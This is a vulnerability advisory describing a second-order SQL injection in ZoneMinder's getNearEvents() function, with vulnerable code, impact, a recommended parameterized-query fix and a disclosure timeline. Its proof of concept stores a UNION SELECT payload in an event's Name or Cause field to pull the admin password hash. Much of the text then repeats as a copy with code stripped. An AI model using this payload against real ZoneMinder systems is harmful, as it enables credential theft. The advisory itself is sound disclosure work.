Summary
A second-order SQL injection vulnerability exists in ZoneMinder's web/ajax/status.php file within the getNearEvents() function. Event field values (specifically Name and Cause) are stored safely via parameterized queries but are later retrieved and concatenated directly into SQL WHERE clauses without escaping. An authenticated user with Events edit and view permissions can exploit this to execute arbitrary SQL queries.
Severity
High (CVSS 3.1 Score: 8.1 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
An authenticated user with standard Events permissions can read arbitrary database content (including user credentials) and potentially modify data through SQL injection.
Details
Vulnerability Type
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-564: SQL Injection: Hibernate (Second-Order)
Affected Component
- File:
web/ajax/status.php, lines 524 and 549 (inside getNearEvents())
- Entry Points:
web/ajax/event.php (rename action, line 161), (edit action, line 168)
- Branch: Default branch (latest commit at time of analysis)
Vulnerable Code
web/ajax/status.php, lines 518-527 (first SQL query):
$sql = '
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != ? AND '.$sortColumn.'
'.($sortOrder=='ASC'?'<=':'>=').' \''.$event[$_REQUEST['sort_field']].'\'';
web/ajax/status.php, lines 543-552 (second SQL query):
$sql = '
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != ? AND '.$sortColumn.'
'.($sortOrder=='ASC'?'>=':'<=').' \''.$event[$_REQUEST['sort_field']].'\'';
In both cases, $event[$_REQUEST['sort_field']] is a value retrieved from the database — specifically from a SELECT * FROM Events WHERE Id=? query (line 503). This value is concatenated directly into the SQL string between single quotes, without any escaping.
Safe Storage (Entry Point)
web/ajax/event.php, line 161:
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', array($_REQUEST['eventName'], $_REQUEST['id']));
web/ajax/event.php, lines 168-169:
dbQuery('UPDATE Events SET Cause = ?, Notes = ? WHERE Id = ?',
array($_REQUEST['newEvent']['Cause'], $_REQUEST['newEvent']['Notes'], $_REQUEST['id']));
Both write operations correctly use parameterized queries (? placeholders), so the malicious payload is safely stored in the database. The vulnerability occurs when the stored value is later read and concatenated into a new SQL query without escaping.
Root Cause
- Second-Order Pattern: Data is safely written to the database via parameterized queries, creating a false sense of security. However, when the same data is read back, it is trusted and concatenated directly into SQL statements.
- String Interpolation in SQL: The
$event[$_REQUEST['sort_field']] expression reads a field from the Events table and embeds it between single quotes in a SQL string via string concatenation, rather than using a parameterized query placeholder.
- Controllable sort_field: The
sort_field parameter controls which column of the event record is used. While $sortColumn (the SQL column reference) is safely whitelisted via a switch statement in parseSort(), the $_REQUEST['sort_field'] value itself (which becomes the array key for $event) is passed through without restriction. The attacker simply needs to choose a field they can control — Name or Cause.
Data Flow
- Store (safe):
POST /ajax/event.php → dbQuery('UPDATE Events SET Name = ? ...', [$payload, $id]) — parameterized, payload stored in DB
- Retrieve (safe):
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]) — parameterized read
- Inject (VULNERABLE):
$sql = '... \'' . $event[$_REQUEST['sort_field']] . '\'' — direct string concatenation into SQL
Authentication
The getNearEvents() function is registered as entity nearevents with 'permission' => 'Events' (line 230). Access requires canView('Events') which is checked at line 242. The rename/edit actions in event.php are also permission-gated.
Proof of Concept
Step 1: Store Malicious Payload
As an authenticated user with Events edit permission, rename an existing event:
POST /ajax/event.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rename&id=1&eventName=' UNION SELECT password FROM Users WHERE Username='admin' --
This safely stores the SQL injection payload as the event's Name field using a parameterized query.
Step 2: Trigger Second-Order SQL Injection
Request the near events for the same event, with sort_field=Name:
GET /ajax/status.php?entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
The server will:
- Fetch the event:
SELECT * FROM Events WHERE Id=1 → $event['Name'] = "' UNION SELECT password FROM Users WHERE Username='admin' -- "
- Build the vulnerable query:
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != 1 AND E.StartDateTime
<= '' UNION SELECT password FROM Users WHERE Username='admin' -- '
- The UNION query extracts the admin password hash.
Alternative Vector: Cause Field
The same attack works with the Cause field:
POST /ajax/event.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=edit&id=1&newEvent[Cause]=' UNION SELECT password FROM Users WHERE Username='admin' -- &newEvent[Notes]=x
Then trigger with sort_field=Cause.
Note: This analysis is based on source code review. I have NOT tested this against a live ZoneMinder installation.
Impact
Confidentiality: HIGH
- Extract all database content including user credentials (password hashes)
- Read monitor configurations, event data, and system settings
- Access API keys and authentication tokens stored in the database
Integrity: HIGH
- Through stacked queries or subqueries (depending on the database driver), an attacker may modify data
- Potential to create new admin accounts or escalate privileges
Availability: HIGH
- SQL injection can be used to corrupt or delete database content
- Heavy queries can cause denial of service
Recommended Fix
Immediate Fix: Use Parameterized Queries
Replace the string concatenation with parameterized query placeholders:
$sql = '
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != ? AND '.$sortColumn.'
'.($sortOrder=='ASC'?'<=':'>=').' ?';
// ...
$result = dbQuery($sql, [$eventId, $event[$_REQUEST['sort_field']], $event['StartDateTime']]);
Apply the same fix to both the "previous" and "next" event queries in getNearEvents().
Defense in Depth: Whitelist sort_field Values
While parseSort() already whitelists $sortColumn, add an explicit whitelist for $_REQUEST['sort_field'] to ensure only expected field names are used as array keys:
$allowedSortFields = ['Id', 'Name', 'Cause', 'StartDateTime', 'EndDateTime', 'Length', 'Frames', 'AlarmFrames', 'TotScore', 'AvgScore', 'MaxScore', 'MonitorName', 'Notes', 'DiskSpace'];
if (!in_array($_REQUEST['sort_field'], $allowedSortFields)) {
$_REQUEST['sort_field'] = 'StartDateTime';
}
References
CVE Assignment Request
I kindly request that a CVE ID be assigned to this vulnerability. This issue meets the criteria for CVE assignment as it affects a widely-used open-source project (5.3k+ GitHub stars) and has a clear security impact (SQL Injection leading to data exfiltration and potential data manipulation).
Reporter
Disclosure Timeline
- 2026-01-27: Vulnerability discovered via source code review
- 2026-01-27: Report submitted to ZoneMinder via GitHub Security Advisory
Summary
A second-order SQL injection vulnerability exists in ZoneMinder's
web/ajax/status.phpfile within thegetNearEvents()function. Event field values (specificallyNameandCause) are stored safely via parameterized queries but are later retrieved and concatenated directly into SQL WHERE clauses without escaping. An authenticated user with Events edit and view permissions can exploit this to execute arbitrary SQL queries.Severity
High (CVSS 3.1 Score: 8.1 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
An authenticated user with standard Events permissions can read arbitrary database content (including user credentials) and potentially modify data through SQL injection.
Details
Vulnerability Type
Affected Component
web/ajax/status.php, lines 524 and 549 (insidegetNearEvents())web/ajax/event.php(rename action, line 161), (edit action, line 168)Vulnerable Code
web/ajax/status.php, lines 518-527 (first SQL query):web/ajax/status.php, lines 543-552 (second SQL query):In both cases,
$event[$_REQUEST['sort_field']]is a value retrieved from the database — specifically from aSELECT * FROM Events WHERE Id=?query (line 503). This value is concatenated directly into the SQL string between single quotes, without any escaping.Safe Storage (Entry Point)
web/ajax/event.php, line 161:web/ajax/event.php, lines 168-169:Both write operations correctly use parameterized queries (
?placeholders), so the malicious payload is safely stored in the database. The vulnerability occurs when the stored value is later read and concatenated into a new SQL query without escaping.Root Cause
$event[$_REQUEST['sort_field']]expression reads a field from the Events table and embeds it between single quotes in a SQL string via string concatenation, rather than using a parameterized query placeholder.sort_fieldparameter controls which column of the event record is used. While$sortColumn(the SQL column reference) is safely whitelisted via aswitchstatement inparseSort(), the$_REQUEST['sort_field']value itself (which becomes the array key for$event) is passed through without restriction. The attacker simply needs to choose a field they can control —NameorCause.Data Flow
POST /ajax/event.php→dbQuery('UPDATE Events SET Name = ? ...', [$payload, $id])— parameterized, payload stored in DB$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id])— parameterized read$sql = '... \'' . $event[$_REQUEST['sort_field']] . '\''— direct string concatenation into SQLAuthentication
The
getNearEvents()function is registered as entityneareventswith'permission' => 'Events'(line 230). Access requirescanView('Events')which is checked at line 242. The rename/edit actions inevent.phpare also permission-gated.Proof of Concept
Step 1: Store Malicious Payload
As an authenticated user with Events edit permission, rename an existing event:
This safely stores the SQL injection payload as the event's
Namefield using a parameterized query.Step 2: Trigger Second-Order SQL Injection
Request the near events for the same event, with
sort_field=Name:The server will:
SELECT * FROM Events WHERE Id=1→$event['Name'] = "' UNION SELECT password FROM Users WHERE Username='admin' -- "Alternative Vector: Cause Field
The same attack works with the
Causefield:Then trigger with
sort_field=Cause.Note: This analysis is based on source code review. I have NOT tested this against a live ZoneMinder installation.
Impact
Confidentiality: HIGH
Integrity: HIGH
Availability: HIGH
Recommended Fix
Immediate Fix: Use Parameterized Queries
Replace the string concatenation with parameterized query placeholders:
Apply the same fix to both the "previous" and "next" event queries in
getNearEvents().Defense in Depth: Whitelist sort_field Values
While
parseSort()already whitelists$sortColumn, add an explicit whitelist for$_REQUEST['sort_field']to ensure only expected field names are used as array keys:References
CVE Assignment Request
I kindly request that a CVE ID be assigned to this vulnerability. This issue meets the criteria for CVE assignment as it affects a widely-used open-source project (5.3k+ GitHub stars) and has a clear security impact (SQL Injection leading to data exfiltration and potential data manipulation).
Reporter
Disclosure Timeline